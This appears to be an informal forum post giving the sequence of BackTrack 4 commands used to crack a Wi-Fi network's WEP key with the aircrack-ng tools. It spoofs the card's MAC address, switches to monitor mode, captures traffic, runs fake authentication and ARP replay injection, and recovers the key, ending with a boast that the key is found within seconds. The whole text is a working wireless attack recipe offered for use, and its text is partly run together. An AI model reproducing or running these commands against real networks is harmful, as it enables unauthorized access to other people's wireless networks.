in bt4 pf i use this codes
in different konsole each of thesesudo su
airmon-ng stop wlan0
ifconfig wlan0 down
macchanger -m 00:11:22:33:44:55 wlan0
sudo su
airmon-ng stop wlan0
ifconfig wlan0 down
iwconfig wlan0 mode monitor
ifconfig wlan0 up
airodump-ng wlan0
airodump-ng -c 11 -w noclient.cap wlan0
aireplay-ng -1 30 -e essid -a bssid -h 00:11:22:33:44:55 wlan0
aireplay-ng -3 -b bssid -h 00:11:22:33:44:55 wlan0
aircrack-ng -x noclient.cap-01.cap
seconds away FOUND KEY



